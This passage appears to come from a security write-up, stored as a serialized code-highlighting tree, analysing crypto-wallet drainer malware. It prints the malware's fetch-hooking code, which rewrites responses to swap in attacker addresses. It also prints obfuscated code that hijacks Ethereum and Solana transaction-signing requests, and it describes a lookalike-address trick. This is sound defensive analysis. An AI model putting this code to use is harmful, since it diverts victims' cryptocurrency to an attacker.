'method'",{"type":22,"tag":101,"props":100915,"children":100916},{"style":126},[100917],{"type":27,"value":169},{"type":22,"tag":101,"props":100919,"children":100920},{"style":6476},[100921],{"type":27,"value":100922}," \"eth_accounts\"\n",{"type":22,"tag":101,"props":100924,"children":100925},{"class":103,"line":398},[100926],{"type":22,"tag":101,"props":100927,"children":100928},{"style":120},[100929],{"type":27,"value":36253},{"type":22,"tag":101,"props":100931,"children":100932},{"class":103,"line":428},[100933,100937,100941,100946,100950,100954,100958,100962],{"type":22,"tag":101,"props":100934,"children":100935},{"style":3595},[100936],{"type":27,"value":16283},{"type":22,"tag":101,"props":100938,"children":100939},{"style":120},[100940],{"type":27,"value":3603},{"type":22,"tag":101,"props":100942,"children":100943},{"style":126},[100944],{"type":27,"value":100945},"_0x124ed3",{"type":22,"tag":101,"props":100947,"children":100948},{"style":120},[100949],{"type":27,"value":231},{"type":22,"tag":101,"props":100951,"children":100952},{"style":126},[100953],{"type":27,"value":12511},{"type":22,"tag":101,"props":100955,"children":100956},{"style":166},[100957],{"type":27,"value":18196},{"type":22,"tag":101,"props":100959,"children":100960},{"style":1544},[100961],{"type":27,"value":1547},{"type":22,"tag":101,"props":100963,"children":100964},{"style":120},[100965],{"type":27,"value":1463},{"type":22,"tag":101,"props":100967,"children":100968},{"class":103,"line":997},[100969,100974],{"type":22,"tag":101,"props":100970,"children":100971},{"style":926},[100972],{"type":27,"value":100973}," runmask",{"type":22,"tag":101,"props":100975,"children":100976},{"style":120},[100977],{"type":27,"value":934},{"type":22,"tag":101,"props":100979,"children":100980},{"class":103,"line":1032},[100981,100985,100989,100994,100998,101002],{"type":22,"tag":101,"props":100982,"children":100983},{"style":3595},[100984],{"type":27,"value":43281},{"type":22,"tag":101,"props":100986,"children":100987},{"style":120},[100988],{"type":27,"value":3603},{"type":22,"tag":101,"props":100990,"children":100991},{"style":126},[100992],{"type":27,"value":100993},"rund",{"type":22,"tag":101,"props":100995,"children":100996},{"style":166},[100997],{"type":27,"value":3612},{"type":22,"tag":101,"props":100999,"children":101000},{"style":1544},[101001],{"type":27,"value":3648},{"type":22,"tag":101,"props":101003,"children":101004},{"style":120},[101005],{"type":27,"value":1463},{"type":22,"tag":101,"props":101007,"children":101008},{"class":103,"line":1063},[101009,101014,101018,101022],{"type":22,"tag":101,"props":101010,"children":101011},{"style":126},[101012],{"type":27,"value":101013}," rund",{"type":22,"tag":101,"props":101015,"children":101016},{"style":166},[101017],{"type":27,"value":960},{"type":22,"tag":101,"props":101019,"children":101020},{"style":1544},[101021],{"type":27,"value":3648},{"type":22,"tag":101,"props":101023,"children":101024},{"style":120},[101025],{"type":27,"value":1520},{"type":22,"tag":101,"props":101027,"children":101028},{"class":103,"line":1071},[101029,101034,101038,101042],{"type":22,"tag":101,"props":101030,"children":101031},{"style":126},[101032],{"type":27,"value":101033}," neth",{"type":22,"tag":101,"props":101035,"children":101036},{"style":166},[101037],{"type":27,"value":960},{"type":22,"tag":101,"props":101039,"children":101040},{"style":1544},[101041],{"type":27,"value":3648},{"type":22,"tag":101,"props":101043,"children":101044},{"style":120},[101045],{"type":27,"value":1520},{"type":22,"tag":101,"props":101047,"children":101048},{"class":103,"line":1110},[101049,101054],{"type":22,"tag":101,"props":101050,"children":101051},{"style":926},[101052],{"type":27,"value":101053}," newdlocal",{"type":22,"tag":101,"props":101055,"children":101056},{"style":120},[101057],{"type":27,"value":934},{"type":22,"tag":101,"props":101059,"children":101060},{"class":103,"line":1118},[101061],{"type":22,"tag":101,"props":101062,"children":101063},{"style":120},[101064],{"type":27,"value":16668},{"type":22,"tag":101,"props":101066,"children":101067},{"class":103,"line":1158},[101068,101072,101076,101080,101084,101088,101092,101096],{"type":22,"tag":101,"props":101069,"children":101070},{"style":120},[101071],{"type":27,"value":19777},{"type":22,"tag":101,"props":101073,"children":101074},{"style":3595},[101075],{"type":27,"value":7354},{"type":22,"tag":101,"props":101077,"children":101078},{"style":3595},[101079],{"type":27,"value":19786},{"type":22,"tag":101,"props":101081,"children":101082},{"style":120},[101083],{"type":27,"value":3603},{"type":22,"tag":101,"props":101085,"children":101086},{"style":126},[101087],{"type":27,"value":100993},{"type":22,"tag":101,"props":101089,"children":101090},{"style":166},[101091],{"type":27,"value":3612},{"type":22,"tag":101,"props":101093,"children":101094},{"style":1544},[101095],{"type":27,"value":3648},{"type":22,"tag":101,"props":101097,"children":101098},{"style":120},[101099],{"type":27,"value":1463},{"type":22,"tag":101,"props":101101,"children":101102},{"class":103,"line":1166},[101103,101108,101112,101116],{"type":22,"tag":101,"props":101104,"children":101105},{"style":126},[101106],{"type":27,"value":101107}," rund",{"type":22,"tag":101,"props":101109,"children":101110},{"style":166},[101111],{"type":27,"value":960},{"type":22,"tag":101,"props":101113,"children":101114},{"style":1544},[101115],{"type":27,"value":3648},{"type":22,"tag":101,"props":101117,"children":101118},{"style":120},[101119],{"type":27,"value":1520},{"type":22,"tag":101,"props":101121,"children":101122},{"class":103,"line":1215},[101123,101128],{"type":22,"tag":101,"props":101124,"children":101125},{"style":926},[101126],{"type":27,"value":101127}," newdlocal",{"type":22,"tag":101,"props":101129,"children":101130},{"style":120},[101131],{"type":27,"value":934},{"type":22,"tag":101,"props":101133,"children":101134},{"class":103,"line":2425},[101135],{"type":22,"tag":101,"props":101136,"children":101137},{"style":120},[101138],{"type":27,"value":1734},{"type":22,"tag":101,"props":101140,"children":101141},{"class":103,"line":5417},[101142],{"type":22,"tag":101,"props":101143,"children":101144},{"style":120},[101145],{"type":27,"value":9908},{"type":22,"tag":101,"props":101147,"children":101148},{"class":103,"line":7714},[101149],{"type":22,"tag":101,"props":101150,"children":101151},{"style":120},[101152],{"type":27,"value":188},{"type":22,"tag":6828,"props":101154,"children":101155},{"start":157},[101156],{"type":22,"tag":6832,"props":101157,"children":101158},{},[101159],{"type":27,"value":101160},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":22,"tag":91,"props":101162,"children":101164},{"code":101163,"language":35361,"meta":7,"className":35359,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[101165],{"type":22,"tag":30,"props":101166,"children":101167},{"__ignoreMap":7},[101168,101203,101260,101322,101337,101374,101413,101428,101467,101474,101507,101523,101582,101620,101645,101670,101694,101702,101717],{"type":22,"tag":101,"props":101169,"children":101170},{"class":103,"line":104},[101171,101175,101179,101183,101187,101191,101195,101199],{"type":22,"tag":101,"props":101172,"children":101173},{"style":926},[101174],{"type":27,"value":38090},{"type":22,"tag":101,"props":101176,"children":101177},{"style":166},[101178],{"type":27,"value":960},{"type":22,"tag":101,"props":101180,"children":101181},{"style":108},[101182],{"type":27,"value":40361},{"type":22,"tag":101,"props":101184,"children":101185},{"style":108},[101186],{"type":27,"value":42210},{"type":22,"tag":101,"props":101188,"children":101189},{"style":120},[101190],{"type":27,"value":3603},{"type":22,"tag":101,"props":101192,"children":101193},{"style":166},[101194],{"type":27,"value":614},{"type":22,"tag":101,"props":101196,"children":101197},{"style":126},[101198],{"type":27,"value":42224},{"type":22,"tag":101,"props":101200,"children":101201},{"style":120},[101202],{"type":27,"value":1463},{"type":22,"tag":101,"props":101204,"children":101205},{"class":103,"line":157},[101206,101210,101215,101219,101223,101228,101232,101236,101240,101244,101248,101252,101256],{"type":22,"tag":101,"props":101207,"children":101208},{"style":108},[101209],{"type":27,"value":40185},{"type":22,"tag":101,"props":101211,"children":101212},{"style":126},[101213],{"type":27,"value":101214}," originalResponse",{"type":22,"tag":101,"props":101216,"children":101217},{"style":166},[101218],{"type":27,"value":960},{"type":22,"tag":101,"props":101220,"children":101221},{"style":3595},[101222],{"type":27,"value":40207},{"type":22,"tag":101,"props":101224,"children":101225},{"style":126},[101226],{"type":27,"value":101227}," originalFetch",{"type":22,"tag":101,"props":101229,"children":101230},{"style":120},[101231],{"type":27,"value":231},{"type":22,"tag":101,"props":101233,"children":101234},{"style":926},[101235],{"type":27,"value":42292},{"type":22,"tag":101,"props":101237,"children":101238},{"style":120},[101239],{"type":27,"value":980},{"type":22,"tag":101,"props":101241,"children":101242},{"style":108},[101243],{"type":27,"value":21691},{"type":22,"tag":101,"props":101245,"children":101246},{"style":120},[101247],{"type":27,"value":758},{"type":22,"tag":101,"props":101249,"children":101250},{"style":166},[101251],{"type":27,"value":614},{"type":22,"tag":101,"props":101253,"children":101254},{"style":126},[101255],{"type":27,"value":42224},{"type":22,"tag":101,"props":101257,"children":101258},{"style":120},[101259],{"type":27,"value":994},{"type":22,"tag":101,"props":101261,"children":101262},{"class":103,"line":182},[101263,101267,101272,101276,101280,101284,101289,101293,101297,101301,101306,101310,101314,101318],{"type":22,"tag":101,"props":101264,"children":101265},{"style":108},[101266],{"type":27,"value":40185},{"type":22,"tag":101,"props":101268,"children":101269},{"style":126},[101270],{"type":27,"value":101271}," contentType",{"type":22,"tag":101,"props":101273,"children":101274},{"style":166},[101275],{"type":27,"value":960},{"type":22,"tag":101,"props":101277,"children":101278},{"style":126},[101279],{"type":27,"value":101214},{"type":22,"tag":101,"props":101281,"children":101282},{"style":120},[101283],{"type":27,"value":231},{"type":22,"tag":101,"props":101285,"children":101286},{"style":126},[101287],{"type":27,"value":101288},"headers",{"type":22,"tag":101,"props":101290,"children":101291},{"style":120},[101292],{"type":27,"value":231},{"type":22,"tag":101,"props":101294,"children":101295},{"style":926},[101296],{"type":27,"value":20350},{"type":22,"tag":101,"props":101298,"children":101299},{"style":120},[101300],{"type":27,"value":980},{"type":22,"tag":101,"props":101302,"children":101303},{"style":6476},[101304],{"type":27,"value":101305},"'Content-Type'",{"type":22,"tag":101,"props":101307,"children":101308},{"style":120},[101309],{"type":27,"value":901},{"type":22,"tag":101,"props":101311,"children":101312},{"style":166},[101313],{"type":27,"value":26406},{"type":22,"tag":101,"props":101315,"children":101316},{"style":6476},[101317],{"type":27,"value":35835},{"type":22,"tag":101,"props":101319,"children":101320},{"style":120},[101321],{"type":27,"value":1520},{"type":22,"tag":101,"props":101323,"children":101324},{"class":103,"line":367},[101325,101329,101333],{"type":22,"tag":101,"props":101326,"children":101327},{"style":108},[101328],{"type":27,"value":11865},{"type":22,"tag":101,"props":101330,"children":101331},{"style":126},[101332],{"type":27,"value":19106},{"type":22,"tag":101,"props":101334,"children":101335},{"style":120},[101336],{"type":27,"value":1520},{"type":22,"tag":101,"props":101338,"children":101339},{"class":103,"line":398},[101340,101344,101348,101353,101357,101361,101365,101370],{"type":22,"tag":101,"props":101341,"children":101342},{"style":3595},[101343],{"type":27,"value":35390},{"type":22,"tag":101,"props":101345,"children":101346},{"style":120},[101347],{"type":27,"value":3603},{"type":22,"tag":101,"props":101349,"children":101350},{"style":126},[101351],{"type":27,"value":101352},"contentType",{"type":22,"tag":101,"props":101354,"children":101355},{"style":120},[101356],{"type":27,"value":231},{"type":22,"tag":101,"props":101358,"children":101359},{"style":926},[101360],{"type":27,"value":39177},{"type":22,"tag":101,"props":101362,"children":101363},{"style":120},[101364],{"type":27,"value":980},{"type":22,"tag":101,"props":101366,"children":101367},{"style":6476},[101368],{"type":27,"value":101369},"'application/json'",{"type":22,"tag":101,"props":101371,"children":101372},{"style":120},[101373],{"type":27,"value":39190},{"type":22,"tag":101,"props":101375,"children":101376},{"class":103,"line":428},[101377,101381,101385,101389,101393,101397,101401,101405,101409],{"type":22,"tag":101,"props":101378,"children":101379},{"style":126},[101380],{"type":27,"value":47227},{"type":22,"tag":101,"props":101382,"children":101383},{"style":166},[101384],{"type":27,"value":960},{"type":22,"tag":101,"props":101386,"children":101387},{"style":3595},[101388],{"type":27,"value":40207},{"type":22,"tag":101,"props":101390,"children":101391},{"style":126},[101392],{"type":27,"value":101214},{"type":22,"tag":101,"props":101394,"children":101395},{"style":120},[101396],{"type":27,"value":231},{"type":22,"tag":101,"props":101398,"children":101399},{"style":926},[101400],{"type":27,"value":19421},{"type":22,"tag":101,"props":101402,"children":101403},{"style":120},[101404],{"type":27,"value":34165},{"type":22,"tag":101,"props":101406,"children":101407},{"style":926},[101408],{"type":27,"value":37993},{"type":22,"tag":101,"props":101410,"children":101411},{"style":120},[101412],{"type":27,"value":934},{"type":22,"tag":101,"props":101414,"children":101415},{"class":103,"line":997},[101416,101420,101424],{"type":22,"tag":101,"props":101417,"children":101418},{"style":120},[101419],{"type":27,"value":35464},{"type":22,"tag":101,"props":101421,"children":101422},{"style":3595},[101423],{"type":27,"value":7354},{"type":22,"tag":101,"props":101425,"children":101426},{"style":120},[101427],{"type":27,"value":154},{"type":22,"tag":101,"props":101429,"children":101430},{"class":103,"line":1032},[101431,101435,101439,101443,101447,101451,101455,101459,101463],{"type":22,"tag":101,"props":101432,"children":101433},{"style":126},[101434],{"type":27,"value":47227},{"type":22,"tag":101,"props":101436,"children":101437},{"style":166},[101438],{"type":27,"value":960},{"type":22,"tag":101,"props":101440,"children":101441},{"style":3595},[101442],{"type":27,"value":40207},{"type":22,"tag":101,"props":101444,"children":101445},{"style":126},[101446],{"type":27,"value":101214},{"type":22,"tag":101,"props":101448,"children":101449},{"style":120},[101450],{"type":27,"value":231},{"type":22,"tag":101,"props":101452,"children":101453},{"style":926},[101454],{"type":27,"value":19421},{"type":22,"tag":101,"props":101456,"children":101457},{"style":120},[101458],{"type":27,"value":34165},{"type":22,"tag":101,"props":101460,"children":101461},{"style":926},[101462],{"type":27,"value":27},{"type":22,"tag":101,"props":101464,"children":101465},{"style":120},[101466],{"type":27,"value":934},{"type":22,"tag":101,"props":101468,"children":101469},{"class":103,"line":1063},[101470],{"type":22,"tag":101,"props":101471,"children":101472},{"style":120},[101473],{"type":27,"value":9908},{"type":22,"tag":101,"props":101475,"children":101476},{"class":103,"line":1071},[101477,101481,101486,101490,101495,101499,101503],{"type":22,"tag":101,"props":101478,"children":101479},{"style":108},[101480],{"type":27,"value":40185},{"type":22,"tag":101,"props":101482,"children":101483},{"style":126},[101484],{"type":27,"value":101485}," processedData",{"type":22,"tag":101,"props":101487,"children":101488},{"style":166},[101489],{"type":27,"value":960},{"type":22,"tag":101,"props":101491,"children":101492},{"style":926},[101493],{"type":27,"value":101494}," replaceAddresses",{"type":22,"tag":101,"props":101496,"children":101497},{"style":120},[101498],{"type":27,"value":980},{"type":22,"tag":101,"props":101500,"children":101501},{"style":126},[101502],{"type":27,"value":7738},{"type":22,"tag":101,"props":101504,"children":101505},{"style":120},[101506],{"type":27,"value":994},{"type":22,"tag":101,"props":101508,"children":101509},{"class":103,"line":1110},[101510,101514,101519],{"type":22,"tag":101,"props":101511,"children":101512},{"style":108},[101513],{"type":27,"value":40185},{"type":22,"tag":101,"props":101515,"children":101516},{"style":126},[101517],{"type":27,"value":101518}," finalResponseText",{"type":22,"tag":101,"props":101520,"children":101521},{"style":166},[101522],{"type":27,"value":39852},{"type":22,"tag":101,"props":101524,"children":101525},{"class":103,"line":1118},[101526,101531,101535,101539,101544,101549,101553,101557,101561,101565,101569,101573,101578],{"type":22,"tag":101,"props":101527,"children":101528},{"style":108},[101529],{"type":27,"value":101530}," typeof",{"type":22,"tag":101,"props":101532,"children":101533},{"style":126},[101534],{"type":27,"value":101485},{"type":22,"tag":101,"props":101536,"children":101537},{"style":166},[101538],{"type":27,"value":35418},{"type":22,"tag":101,"props":101540,"children":101541},{"style":6476},[101542],{"type":27,"value":101543}," 'string'",{"type":22,"tag":101,"props":101545,"children":101546},{"style":166},[101547],{"type":27,"value":101548}," ?",{"type":22,"tag":101,"props":101550,"children":101551},{"style":126},[101552],{"type":27,"value":101485},{"type":22,"tag":101,"props":101554,"children":101555},{"style":166},[101556],{"type":27,"value":39112},{"type":22,"tag":101,"props":101558,"children":101559},{"style":126},[101560],{"type":27,"value":41524},{"type":22,"tag":101,"props":101562,"children":101563},{"style":120},[101564],{"type":27,"value":231},{"type":22,"tag":101,"props":101566,"children":101567},{"style":926},[101568],{"type":27,"value":43227},{"type":22,"tag":101,"props":101570,"children":101571},{"style":120},[101572],{"type":27,"value":980},{"type":22,"tag":101,"props":101574,"children":101575},{"style":126},[101576],{"type":27,"value":101577},"processedData",{"type":22,"tag":101,"props":101579,"children":101580},{"style":120},[101581],{"type":27,"value":994},{"type":22,"tag":101,"props":101583,"children":101584},{"class":103,"line":1158},[101585,101589,101594,101598,101602,101607,101611,101616],{"type":22,"tag":101,"props":101586,"children":101587},{"style":108},[101588],{"type":27,"value":40185},{"type":22,"tag":101,"props":101590,"children":101591},{"style":126},[101592],{"type":27,"value":101593}," finalResponse",{"type":22,"tag":101,"props":101595,"children":101596},{"style":166},[101597],{"type":27,"value":960},{"type":22,"tag":101,"props":101599,"children":101600},{"style":108},[101601],{"type":27,"value":35929},{"type":22,"tag":101,"props":101603,"children":101604},{"style":926},[101605],{"type":27,"value":101606}," Response",{"type":22,"tag":101,"props":101608,"children":101609},{"style":120},[101610],{"type":27,"value":980},{"type":22,"tag":101,"props":101612,"children":101613},{"style":126},[101614],{"type":27,"value":101615},"finalResponseText",{"type":22,"tag":101,"props":101617,"children":101618},{"style":120},[101619],{"type":27,"value":52878},{"type":22,"tag":101,"props":101621,"children":101622},{"class":103,"line":1166},[101623,101628,101632,101636,101641],{"type":22,"tag":101,"props":101624,"children":101625},{"style":126},[101626],{"type":27,"value":101627}," status:",{"type":22,"tag":101,"props":101629,"children":101630},{"style":126},[101631],{"type":27,"value":101214},{"type":22,"tag":101,"props":101633,"children":101634},{"style":120},[101635],{"type":27,"value":231},{"type":22,"tag":101,"props":101637,"children":101638},{"style":126},[101639],{"type":27,"value":101640},"status",{"type":22,"tag":101,"props":101642,"children":101643},{"style":120},[101644],{"type":27,"value":179},{"type":22,"tag":101,"props":101646,"children":101647},{"class":103,"line":1215},[101648,101653,101657,101661,101666],{"type":22,"tag":101,"props":101649,"children":101650},{"style":126},[101651],{"type":27,"value":101652}," statusText:",{"type":22,"tag":101,"props":101654,"children":101655},{"style":126},[101656],{"type":27,"value":101214},{"type":22,"tag":101,"props":101658,"children":101659},{"style":120},[101660],{"type":27,"value":231},{"type":22,"tag":101,"props":101662,"children":101663},{"style":126},[101664],{"type":27,"value":101665},"statusText",{"type":22,"tag":101,"props":101667,"children":101668},{"style":120},[101669],{"type":27,"value":179},{"type":22,"tag":101,"props":101671,"children":101672},{"class":103,"line":2425},[101673,101678,101682,101686,101690],{"type":22,"tag":101,"props":101674,"children":101675},{"style":126},[101676],{"type":27,"value":101677}," headers:",{"type":22,"tag":101,"props":101679,"children":101680},{"style":126},[101681],{"type":27,"value":101214},{"type":22,"tag":101,"props":101683,"children":101684},{"style":120},[101685],{"type":27,"value":231},{"type":22,"tag":101,"props":101687,"children":101688},{"style":126},[101689],{"type":27,"value":101288},{"type":22,"tag":101,"props":101691,"children":101692},{"style":120},[101693],{"type":27,"value":179},{"type":22,"tag":101,"props":101695,"children":101696},{"class":103,"line":5417},[101697],{"type":22,"tag":101,"props":101698,"children":101699},{"style":120},[101700],{"type":27,"value":101701}," });\n",{"type":22,"tag":101,"props":101703,"children":101704},{"class":103,"line":7714},[101705,101709,101713],{"type":22,"tag":101,"props":101706,"children":101707},{"style":3595},[101708],{"type":27,"value":43193},{"type":22,"tag":101,"props":101710,"children":101711},{"style":126},[101712],{"type":27,"value":101593},{"type":22,"tag":101,"props":101714,"children":101715},{"style":120},[101716],{"type":27,"value":1520},{"type":22,"tag":101,"props":101718,"children":101719},{"class":103,"line":7723},[101720],{"type":22,"tag":101,"props":101721,"children":101722},{"style":120},[101723],{"type":27,"value":20576},{"type":22,"tag":6828,"props":101725,"children":101726},{"start":182},[101727],{"type":22,"tag":6832,"props":101728,"children":101729},{},[101730],{"type":27,"value":101731},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":22,"tag":91,"props":101733,"children":101735},{"code":101734,"language":35361,"meta":7,"className":35359,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[101736],{"type":22,"tag":30,"props":101737,"children":101738},{"__ignoreMap":7},[101739,101818,101829,101886,101926,101951,101966,101977,102011,102044,102063,102090,102098,102109,102149,102178,102206,102213,102253,102296,102340,102355,102394,102401,102425,102432],{"type":22,"tag":101,"props":101740,"children":101741},{"class":103,"line":104},[101742,101746,101750,101755,101759,101763,101767,101772,101776,101781,101785,101790,101794,101798,101802,101806,101810,101814],{"type":22,"tag":101,"props":101743,"children":101744},{"style":3595},[101745],{"type":27,"value":19578},{"type":22,"tag":101,"props":101747,"children":101748},{"style":120},[101749],{"type":27,"value":3603},{"type":22,"tag":101,"props":101751,"children":101752},{"style":126},[101753],{"type":27,"value":101754},"_0x2c3d7e",{"type":22,"tag":101,"props":101756,"children":101757},{"style":120},[101758],{"type":27,"value":231},{"type":22,"tag":101,"props":101760,"children":101761},{"style":126},[101762],{"type":27,"value":42309},{"type":22,"tag":101,"props":101764,"children":101765},{"style":166},[101766],{"type":27,"value":35418},{"type":22,"tag":101,"props":101768,"children":101769},{"style":6476},[101770],{"type":27,"value":101771}," 'eth_sendTransaction'",{"type":22,"tag":101,"props":101773,"children":101774},{"style":166},[101775],{"type":27,"value":18187},{"type":22,"tag":101,"props":101777,"children":101778},{"style":126},[101779],{"type":27,"value":101780}," _0x2c3d7e",{"type":22,"tag":101,"props":101782,"children":101783},{"style":120},[101784],{"type":27,"value":231},{"type":22,"tag":101,"props":101786,"children":101787},{"style":126},[101788],{"type":27,"value":101789},"params",{"type":22,"tag":101,"props":101791,"children":101792},{"style":166},[101793],{"type":27,"value":18187},{"type":22,"tag":101,"props":101795,"children":101796},{"style":126},[101797],{"type":27,"value":101780},{"type":22,"tag":101,"props":101799,"children":101800},{"style":120},[101801],{"type":27,"value":231},{"type":22,"tag":101,"props":101803,"children":101804},{"style":126},[101805],{"type":27,"value":101789},{"type":22,"tag":101,"props":101807,"children":101808},{"style":120},[101809],{"type":27,"value":2414},{"type":22,"tag":101,"props":101811,"children":101812},{"style":1544},[101813],{"type":27,"value":8065},{"type":22,"tag":101,"props":101815,"children":101816},{"style":120},[101817],{"type":27,"value":44619},{"type":22,"tag":101,"props":101819,"children":101820},{"class":103,"line":157},[101821,101825],{"type":22,"tag":101,"props":101822,"children":101823},{"style":3595},[101824],{"type":27,"value":100857},{"type":22,"tag":101,"props":101826,"children":101827},{"style":120},[101828],{"type":27,"value":154},{"type":22,"tag":101,"props":101830,"children":101831},{"class":103,"line":182},[101832,101836,101841,101845,101850,101854,101858,101862,101866,101870,101874,101878,101882],{"type":22,"tag":101,"props":101833,"children":101834},{"style":108},[101835],{"type":27,"value":55664},{"type":22,"tag":101,"props":101837,"children":101838},{"style":126},[101839],{"type":27,"value":101840}," _0x39ad21",{"type":22,"tag":101,"props":101842,"children":101843},{"style":166},[101844],{"type":27,"value":960},{"type":22,"tag":101,"props":101846,"children":101847},{"style":926},[101848],{"type":27,"value":101849}," _0x1089ae",{"type":22,"tag":101,"props":101851,"children":101852},{"style":120},[101853],{"type":27,"value":980},{"type":22,"tag":101,"props":101855,"children":101856},{"style":126},[101857],{"type":27,"value":101754},{"type":22,"tag":101,"props":101859,"children":101860},{"style":120},[101861],{"type":27,"value":231},{"type":22,"tag":101,"props":101863,"children":101864},{"style":126},[101865],{"type":27,"value":101789},{"type":22,"tag":101,"props":101867,"children":101868},{"style":120},[101869],{"type":27,"value":2414},{"type":22,"tag":101,"props":101871,"children":101872},{"style":1544},[101873],{"type":27,"value":8065},{"type":22,"tag":101,"props":101875,"children":101876},{"style":120},[101877],{"type":27,"value":27047},{"type":22,"tag":101,"props":101879,"children":101880},{"style":108},[101881],{"type":27,"value":5608},{"type":22,"tag":101,"props":101883,"children":101884},{"style":120},[101885],{"type":27,"value":994},{"type":22,"tag":101,"props":101887,"children":101888},{"class":103,"line":367},[101889,101894,101898,101902,101906,101910,101914,101918,101922],{"type":22,"tag":101,"props":101890,"children":101891},{"style":126},[101892],{"type":27,"value":101893}," _0x2c3d7e",{"type":22,"tag":101,"props":101895,"children":101896},{"style":120},[101897],{"type":27,"value":231},{"type":22,"tag":101,"props":101899,"children":101900},{"style":126},[101901],{"type":27,"value":101789},{"type":22,"tag":101,"props":101903,"children":101904},{"style":120},[101905],{"type":27,"value":2414},{"type":22,"tag":101,"props":101907,"children":101908},{"style":1544},[101909],{"type":27,"value":8065},{"type":22,"tag":101,"props":101911,"children":101912},{"style":120},[101913],{"type":27,"value":12668},{"type":22,"tag":101,"props":101915,"children":101916},{"style":166},[101917],{"type":27,"value":1511},{"type":22,"tag":101,"props":101919,"children":101920},{"style":126},[101921],{"type":27,"value":101840},{"type":22,"tag":101,"props":101923,"children":101924},{"style":120},[101925],{"type":27,"value":1520},{"type":22,"tag":101,"props":101927,"children":101928},{"class":103,"line":398},[101929,101933,101937,101941,101946],{"type":22,"tag":101,"props":101930,"children":101931},{"style":120},[101932],{"type":27,"value":35464},{"type":22,"tag":101,"props":101934,"children":101935},{"style":3595},[101936],{"type":27,"value":52408},{"type":22,"tag":101,"props":101938,"children":101939},{"style":120},[101940],{"type":27,"value":3603},{"type":22,"tag":101,"props":101942,"children":101943},{"style":126},[101944],{"type":27,"value":101945},"_0x226343",{"type":22,"tag":101,"props":101947,"children":101948},{"style":120},[101949],{"type":27,"value":101950},") {}\n",{"type":22,"tag":101,"props":101952,"children":101953},{"class":103,"line":428},[101954,101958,101962],{"type":22,"tag":101,"props":101955,"children":101956},{"style":120},[101957],{"type":27,"value":50870},{"type":22,"tag":101,"props":101959,"children":101960},{"style":3595},[101961],{"type":27,"value":7354},{"type":22,"tag":101,"props":101963,"children":101964},{"style":120},[101965],{"type":27,"value":154},{"type":22,"tag":101,"props":101967,"children":101968},{"class":103,"line":997},[101969,101973],{"type":22,"tag":101,"props":101970,"children":101971},{"style":3595},[101972],{"type":27,"value":35390},{"type":22,"tag":101,"props":101974,"children":101975},{"style":120},[101976],{"type":27,"value":82073},{"type":22,"tag":101,"props":101978,"children":101979},{"class":103,"line":1032},[101980,101985,101989,101993,101997,102001,102006],{"type":22,"tag":101,"props":101981,"children":101982},{"style":120},[101983],{"type":27,"value":101984}," (",{"type":22,"tag":101,"props":101986,"children":101987},{"style":126},[101988],{"type":27,"value":101754},{"type":22,"tag":101,"props":101990,"children":101991},{"style":120},[101992],{"type":27,"value":231},{"type":22,"tag":101,"props":101994,"children":101995},{"style":126},[101996],{"type":27,"value":42309},{"type":22,"tag":101,"props":101998,"children":101999},{"style":166},[102000],{"type":27,"value":35418},{"type":22,"tag":101,"props":102002,"children":102003},{"style":6476},[102004],{"type":27,"value":102005}," 'solana_signTransaction'",{"type":22,"tag":101,"props":102007,"children":102008},{"style":166},[102009],{"type":27,"value":102010}," ||\n",{"type":22,"tag":101,"props":102012,"children":102013},{"class":103,"line":1063},[102014,102019,102023,102027,102031,102036,102040],{"type":22,"tag":101,"props":102015,"children":102016},{"style":126},[102017],{"type":27,"value":102018}," _0x2c3d7e",{"type":22,"tag":101,"props":102020,"children":102021},{"style":120},[102022],{"type":27,"value":231},{"type":22,"tag":101,"props":102024,"children":102025},{"style":126},[102026],{"type":27,"value":42309},{"type":22,"tag":101,"props":102028,"children":102029},{"style":166},[102030],{"type":27,"value":35418},{"type":22,"tag":101,"props":102032,"children":102033},{"style":6476},[102034],{"type":27,"value":102035}," 'solana_signAndSendTransaction'",{"type":22,"tag":101,"props":102037,"children":102038},{"style":120},[102039],{"type":27,"value":901},{"type":22,"tag":101,"props":102041,"children":102042},{"style":166},[102043],{"type":27,"value":87322},{"type":22,"tag":101,"props":102045,"children":102046},{"class":103,"line":1071},[102047,102051,102055,102059],{"type":22,"tag":101,"props":102048,"children":102049},{"style":126},[102050],{"type":27,"value":101893},{"type":22,"tag":101,"props":102052,"children":102053},{"style":120},[102054],{"type":27,"value":231},{"type":22,"tag":101,"props":102056,"children":102057},{"style":126},[102058],{"type":27,"value":101789},{"type":22,"tag":101,"props":102060,"children":102061},{"style":166},[102062],{"type":27,"value":56680},{"type":22,"tag":101,"props":102064,"children":102065},{"class":103,"line":1110},[102066,102070,102074,102078,102082,102086],{"type":22,"tag":101,"props":102067,"children":102068},{"style":126},[102069],{"type":27,"value":101893},{"type":22,"tag":101,"props":102071,"children":102072},{"style":120},[102073],{"type":27,"value":231},{"type":22,"tag":101,"props":102075,"children":102076},{"style":126},[102077],{"type":27,"value":101789},{"type":22,"tag":101,"props":102079,"children":102080},{"style":120},[102081],{"type":27,"value":2414